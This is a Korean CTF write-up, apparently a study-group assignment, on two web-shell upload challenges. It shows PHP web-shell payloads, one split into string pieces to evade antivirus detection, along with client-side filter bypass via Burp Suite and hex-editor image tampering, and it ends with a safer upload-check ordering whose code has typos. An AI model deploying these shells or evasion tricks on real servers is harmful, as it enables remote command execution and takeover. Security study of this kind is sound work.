Normaltic 모의해킹 취업반 스터디 8기 - 14주차 과제(CTF Write-up)

containerxox·2025년 7월 10일
post-thumbnail

✅ Web Shell 1

🔸회원가입 후 로그인

‣ id: test1
‣ pw: test1

🔸 게시판에서 파일 업로드 허용되는 타입 확인

http://ctf.segfaulthub.com:8989/webshell_1/notice_write.php의 응답을 확인해보니,
업로드가 허용되는 파일의 타입은 png, jpeg만 허용함을 알 수 있다.


⚠️ 하지만 !!!
➡️ 브라우저에서 <input type="file" accept="image/png, image/jpeg">클라이언트 측 필터링일 뿐!
→ 파일 선택창에서 .png.jpeg만 선택 가능하게 가이드만 해줄 뿐
Burp Suite 같은 프록시로 요청을 조작하면 아무 파일이나 업로드 가능 !

➡️ 서버가 다시 검사하지 않으면 어떤 파일이든 업로드 가능하다.
실제로 허용/차단은 notice_write_process.php 같은 업로드 처리 스크립트가 할 것으로 예상됨
업로드 스크립트가 $_FILES['upload_file']['name'] 의 확장자나 $_FILES['upload_file']['type'] 을 검사해야 막힘.
근데 백엔드가 MIME 타입이나 시그니처나 파일 확장자를 안 검사하면 → 아무거나 들어감.


✔️ $_FILES['upload_file'] 구조

Array
(
  [name] => hello.txt        // 사용자가 올린 원본 파일 이름
  [type] => text/plain       // 브라우저가 전송한 MIME 타입 (Content-Type)
  [tmp_name] => /tmp/phpABCD // 서버 임시 저장 경로
  [error] => 0               // 에러 코드 (0이면 성공)
  [size] => 1234             // 파일 크기 (byte)
)



💁‍♀️ 그럼, 텍스트 파일을 업로드 해보자.
만약 업로드가 가능
→ 서버 측에서 파일의 확장자, 시그니처, MIME 타입을 검사하지 않는다는 의미

만약 업로드 불가능
→ 서버 측에서 파일 확장자나 시그니처, MIME 타입을 검사하여
JPG, PNG 이외의 파일 형식은 차단하고 있다는 의미

👉 hello.txt 텍스트파일을 업로드 성공 !
➡️ 따라서, 서버 측에서 파일의 확장자, 시그니처, MIME 타입을 검사하지 않기 때문에
모든 확장자의 파일이 업로드 가능하다는 것을 확인할 수 있다.



🔸 게시판에서 파일 업로드 시도

일단, 이미지파일인 monkey.jpg를 업로드함.


⚠️근데 메모장(또는 일반 텍스트 에디터)로 <?php system($_GET['cmd']); ?>
webshell.php 저장하려고 하면
안랩 ASTX (AhnLab Safe Transaction Extension) 같은 보안 솔루션이 이걸 실시간 탐지해서 차단
💁‍♀️ 일단 이미지파일을 업로드하고 리피터를 이용해서 수정하여 php 코드를 작성 시도하려고 함.

👉 repeater 사용해서 몇가지 변조해서 업로드
filename="mokey.jpg"filename="webshell.php"로 파일명과 확장자 조작
→ 서버가 해당 파일을 서버 사이드 스크립트(.php) 로 인식해야 실행할 수 있기 때문에 .php로 설정하는 것이다.

Content-Type: image/jpeg 유지
→ 사실 서버측에서 MIME 타입 검사를 하지 않아서 text/php로 바꿔도 상관 없음.

‣ 이미지파일 내용을 전부 지우고 아래의 php코드 작성

<?php
	system($_GET['cmd']);
?>


➡️ monkey.php 업로드 성공 !

🔸 업로드한 monkey.php의 저장경로 찾기 !

🧔 게시글을 클릭하고 서버의 응답을 확인해보면
<a href="./files/test1/monkey.php" download="monkey.php">
라는 링크가 포함되어 있는 것을 통해,

업로드된 파일이 ./files/user01/ 경로에 저장된다는 것을 추측할 수 있다.


👉 ctf.segfaulthub.com:8989/webshell_1/files/test1/에 접속 (경로 이동)
↳ 내가 업로드한 파일들을 볼 수 있다.
↳ 즉, 이 경로에 내가 업로드한 파일이 저장됨을 알 수 있음 !

http://ctf.segfaulthub.com:8989/webshell_1/files/test1/mokey.jpg
에 접속하여 /webshell_1/files/user01/ 경로에 있는 mokey.jpg 파일을 요청


http://ctf.segfaulthub.com:8989/webshell_1/files/test1/monkey.php
에 접속하여 /webshell_1/files/test1/ 경로에 있는 monkey.php 파일을 요청

💁‍♀️ 위 사진처럼 응답 페이지가 나오는이유는
cmd 파라미터 값을 URL에 입력하지 않았기 때문이다.
Burp Suite를 사용하여 cmd 파라미터에 값을 넣어 요청을 다시 보내보자.

👉 cmd파라미터 값을 ls로 적어서 요청을 보냄 !
http://ctf.segfaulthub.com:8989/webshell_1/files/test1/webshell.php?cmd=ls
↳ 응답 결과: ./files/test1/의 경로에 있는 파일 리스트가 출력됨.

➡️ 웹쉘로 서버 장악에 성공 !
➡️ 이제 웹사이트 내부에 있는 flag.txt 파일만 찾으면 된다

두번째 방법

🔸 웹사이트 내부에 있는 flag.txt 파일 찾기

전체 웹사이트의 어느 경로에 flag.txt가 저장되어 있는지 모르니까
루트 디렉토리부터 전체를 탐색하자 !

💁‍♀️ find / -name "flag.txt"
→ URL 인코딩 해주기
%66%69%6e%64%20%2f%20%2d%6e%61%6d%65%20%22%66%6c%61%67%2e%74%78%74%22

💡 flag.txt가 /app/webshell_1/important_data/flag.txt에 위치함.

💁‍♀️ cat /app/webshell_1/important_data/flag.txt
→ URL 인코딩
%63%61%74%20%2f%61%70%70%2f%77%65%62%73%68%65%6c%6c%5f%31%2f%69%6d%70%6f%72%74%61%6e%74%5f%64%61%74%61%2f%66%6c%61%67%2e%74%78%74

➡️ flag 획득 !



🕵️‍♀️ 추가 우회 기법

코드 조각으로 나눠서 저장 (탐지 우회용으로 문자열 나누기)

메모장(또는 VScode)로 을 webshell.php 저장하려고 하면
안랩 ASTX (AhnLab Safe Transaction Extension) 같은 보안 솔루션이 이걸 실시간 탐지해서 차단
하여 해당 코드값이 들어가 있는 php파일이 생성 자체가 불가능했잖아.

그래서 아래 코드로 문자열을 나눠서 작성하여 astx 보안 솔루션이 탐지하기 못하게 우회하는 방법이야.

<?php
	$a = "sys"."tem";
	$b = "_GET";
	$a($$b['cmd']);
?>


new2.txt라는 파일 업로드 → 글 업로드 성공

http://ctf.segfaulthub.com:8989/webshell_1/files/test1/new2.php?cmd=ls에 요청을 보냄.
→ 파일저장경로(http://ctf.segfaulthub.com:8989/webshell_1/files/test1/)에 있는 모든 파일이 리스팅됨.
→ 웹쉘로 서버 장악 성공 !




➕) Content-Type: application/octet-stream이란?

application/octet-stream일반 바이너리 데이터 라는 의미.
• 즉, 이 파일이 뭔지 정확히 모르겠을 때 그냥 "이건 이진 데이터니까 알아서 처리해~"하고
브라우저나 서버한테 던져주는 가장 범용적인 MIME 타입.

• 서버가 MIME 타입을 판별 못하면 기본으로 application/octet-stream을 붙임.

👉 만약, 서버가 Content-Type으로만 MIME 필터링 하는 경우 (image/jpeg만 허용)
공격자가 burp suite로 application/octet-stream으로 바꿔보내면,
서버가 이걸 걸러내지 못하면, .php파일이 그대로 저장되서 실행될 수 있다.
즉, 이건 "무슨파일인지 모르겠어"라는 뜻이므로,
서버가 Content-Type만을 신뢰 하면 뚫릴 수 있다.
➡️ 서버는 “얘가 뭐인지 모르겠다…” → 그냥 저장 → 확장자만 .php니까 실행될 수도 있음!



✅ Web Shell 2

🔸회원가입 후 로그인

‣ id: test2
‣ pw: test2

🔸 게시판에서 파일 업로드 시도

▷ 일단,cat.jpg 업로드

http://ctf.segfaulthub.com:8989/webshell_2/notice_write.php의 응답을 확인해보니,
업로드가 허용되는 파일의 타입은 png, jpeg만 허용함을 알 수 있다.

⚠️ 하지만 !!!
➡️ 브라우저에서 <input type="file" accept="image/png, image/jpeg">클라이언트 측 필터링일 뿐!
→ 파일 선택창에서 .png.jpeg만 선택 가능하게 가이드만 해줄 뿐
Burp Suite 같은 프록시로 요청을 조작하면 아무 파일이나 업로드 가능 !

➡️ 서버가 다시 검사하지 않으면 어떤 파일이든 업로드 가능하다.
실제로 허용/차단은 notice_write_process.php 같은 업로드 처리 스크립트가 할 것으로 예상됨
업로드 스크립트가 $_FILES['upload_file']['name'] 의 확장자나 $_FILES['upload_file']['type'] 을 검사해야 막힘.
근데 백엔드가 MIME 타입이나 시그니처나 파일 확장자를 안 검사하면 → 아무거나 들어감.



💁‍♀️ 그럼, 텍스트 파일을 업로드 해보자.

만약 업로드가 가능
→ 서버 측에서 파일의 확장자, 시그니처, MIME 타입을 검사하지 않는다는 의미

만약 업로드 불가능
→ 서버 측에서 파일 확장자나 시그니처, MIME 타입을 검사하여
서버에서 허용한 타입을 제외한 파일 타입은 차단하고 있다는 의미



👉 hello.txt 텍스트파일 업로드 시도


💁‍♀️ create버튼 webshell_2/notice_write.php로 요청이 가고,
응답을 확인해보면, 아래 사진과 같다.

var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
확장자가 .jpg, .jpeg, .png, .gif인 경우만 업로드 허용 !
/i가 있으므로 대소문자 조합 아무거나 다 허용함 (대소문자 구분 X)

if(!allowedExtensions.exec(fileName)) { alert('업로드할 수 없는 확장자의 파일입니다.');
↳ 허용가능한 확장자가 아닌 파일은 '업로드할 수 없는 확장자의 파일입니다.'라는 알림창을 띄움.

✔️ 즉, 이 스크립트는 사용자가 파일을 업로드할 때,
확장자가 .jpg, .jpeg, .png, .gif 중 하나인지 검사하고,
아니면 업로드 취소하고 경고창을 띄우는 스크립트.
➡️ 이건 프론트엔드(클라이언트 측) 검사이다.
➡️ 만약 서버에서 확장자 검사를 하지 않는 경우,
버프스위트로 요청을 조작하여 php같은 파일도 우회해서 업로드 가능하다
.
브라우저에서만 동작하는 '허용된 확장자 체크 스크립트'다. 서버 측에서도 따로 검증하지 않으면 아무 의미 X





💡브라우저가 .jpg, .jpeg, .png, .gif 중 하나만 업로드 할 수 있도록 제한하고 있기 때문에,
사용자는 반드시 이 중 하나의 확장자를 가진 파일만 선택 가능하다.

➡️ 이를 우회하기 위해 hex editor를 사용하여
정상적인 이미지 파일의 중간이나 끝에 <?php system($_GET['cmd']); ?>코드를 삽입해보자 !!!



🔸 Hex Editor로 우회하기

HxD 설치하기
https://mh-nexus.de/en/downloads.php?product=HxD20



HxD 사용법

💁‍♀️ 일단, lizard.jpg 파일 업로드해 봄.
파일 시그니처는 파일의 가장 처음에 위치하는 특정 바이트들로, 파일 포맷(형식)을 구분하기 위해 사용함.
jpg파일은 FF D8 FF E0의 파일 시그니처를 갖는다.

💁‍♀️ Ctrl + fjpg 파일 시그니처인 FF D8 FF E0을 찾기.

💡 Hex Editor 이용한 파일 업로드 우회 흐름


중간에 <?php system($_GET['cmd']); ?>를 삽입

<?php system($_GET['cmd']); ?> 코드를 복사
→ 붙여넣기


게시판에 lizard.jpg 를 업로드

💁‍♀️ 게시판에 lizard.jpg를 성공적으로 업로드함.


업로드된 파일의 저장 경로 파악하기

‣ 해당 게시글 클릭
↳ 게시글을 클릭하고 서버의 응답을 확인해보면
<a href="./files/user02/lizard.jpg" download="lizard.jpg">
라는 링크가 포함되어 있는 것을 통해,
업로드된 파일이 ./files/test2/ 경로에 저장된다는 것을 추측할 수 있다.


👉 ctf.segfaulthub.com:8989/webshell_2/files/test2/에 접속 (경로 이동)
↳ 내가 업로드한 파일들을 볼 수 있다.
↳ 즉, 이 경로에 내가 업로드한 파일이 저장됨을 알 수 있음 !


Content-Typetext/php로 변조해서 확장자를 .php로 변경하기

👉 repeater 사용해서 Content-Type 변조해서 업로드
Content-Type: image/jpegContent-Type: text/php로 php형식 파일으로 설정
‣ 이미지파일 내용을 전부 지우고 아래의 php코드 작성


✔️ 기존에 업로드한 lizard.jpg



✔️ 확장자명을 lizard.php로 변경
업로드 될 수 없는 파일이 감지되었습니다라는 알림창이 떴음에도 불구하고
lizard.phpwebshell_2/files/test2/에 저장된 이유는 질문에 정리해놨어 !


👉 ctf.segfaulthub.com:8989/webshell_2/files/test2/에 접속 (경로 이동)
↳ 내가 업로드한 파일들을 볼 수 있다.
↳ 즉, 이 경로에 내가 업로드한 파일이 저장됨을 알 수 있음 !


cmd파라미터 값에 실행하고 싶은 명령어를 입력


웹사이트 내부에 있는 flag.txt 찾기

cmd 파라미터 값: find / -name "flag.txt"
URL 인코딩
%66%69%6e%64%20%2f%20%2d%6e%61%6d%65%20%22%66%6c%61%67%2e%74%78%74%22

➡️ flag.txt의 저장경로는 /app/webshell_2/secret_file/flag.txt


해당 경로에 있는 flag.txt 값 읽기.
cmd 파라미터 값: cat /app/webshell_2/secret_file/flag.txt
URL 인코딩
%63%61%74%20%2f%61%70%70%2f%77%65%62%73%68%65%6c%6c%5f%32%2f%73%65%63%72%65%74%5f%66%69%6c%65%2f%66%6c%61%67%2e%74%78%74

➡️ Flag 획득 !


🧑‍🏫 질문

❓ 왜 브라우저에서는 .php 확장자 파일을 선택조차 못 하게 해놓고,
Repeater로는 조작해서 보내니까 서버에 .php로 저장이 가능한거지?
❓ 그리고 서버가 차단했다고 알림창을 띄워놓고 왜 실제로는 저장되는거야?

🔸(상황)
‣ 브라우저는 .php 확장자 파일 선택 자체를 못 하게 막아놨음
 (accept=".jpg,.jpeg,.png,.gif")
‣ 그래서 Hex Editor로 lizard.jpg파일에 PHP 코드를 몰래 넣어둔 뒤,
버프 스위트의 repeater로 filename="lizard.php로 조작해서 다시 업로드 요청을 보냄

🔸(결과)
‣ 서버 응답을 보면, alert('업로드 될 수 없는 파일이 탐지되었습니다. lizard.php');으로
서버가 .php확장자라서 차단했다고 안내함.
‣ 그런데 실제 업로드된 파일이 저장되는 디렉터리에 가보니 lizard.php가 저장되어 있음 !

🅰️ 답변

브라우저의 accept속성은 프론트엔드(클라이언트)에서의 제한 일 뿐
➡️Burp Suite로 우회 가능 !


차단 스크립트 실행보다 move_uploaded_file()가 위에 있었다.
그래서 파일은 이미 물리적으로 저장되고,
삭제는 안 돼서 웹서버에 그대로 노출된 것 !

📌 내가 예상하는 서버의 흐름 요약
1. 사용자가 파일 업로드 요청 보냄
→ 서버(php)가 임시 디렉터리에 파일 저장($_FILES['tmp_name'])
(tmp_name은 PHP가 파일을 OS 임시 폴더에 저장한 임시 경로(ex. /tmp/php123.tmp))

2. move_uploaded_file() 실행됨 → 웹 루트(webshell_2/files/test2/)로 복사 완료!

3. 그 다음에야 “어? 확장자가 .php네? 경고 띄워야겠다!” → alert('업로드 될 수 없는 파일이 탐지되었습니다.')

4. 근데 이미 move_uploaded_file()로 물리 복사가 끝났으니 실제로는 웹서버에 파일이 살아있음!

5. 저장 후 실패 처리(unlink()) 안 함 → 그대로 노출됨!

➡️ 즉, move_uploaded_file() 함수를 이미 호출해서 웹루트에 파일을 저장해버렸는데
거부 로직이 뒤에 있으면 → 웹 루트에 실제로 저장이 됨 + 응답은 거부 메시지가 뜸

move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_dir . $filename);
//그 다음에 확장자 검사
if($ext == 'php') {
	echo "<script>alert('업로드 될 수 없는 파일!');</script>
}


🔵 안전한 순서로 짜인 코드
이렇게 해야 확장자 검사를 먼저 해야
허용된 확장자(.jpg,.png)가 아닌 파일은 move_uploaded_file()이 실행되지 않음 !

// 1) 확장자 먼저 검사
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSTION));
if ($ext !== 'jpg' && $ext !== 'png'){
	echo "<script>alert('허용되지 않는 파일! ');</script>;
    exit; //여기서 끝내기 !!! 
}
// 2) 통과하면 그 때 move_uploaded_file() 실행하여 웹루트에 파일 저장
move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_dir . $filename);

0개의 댓글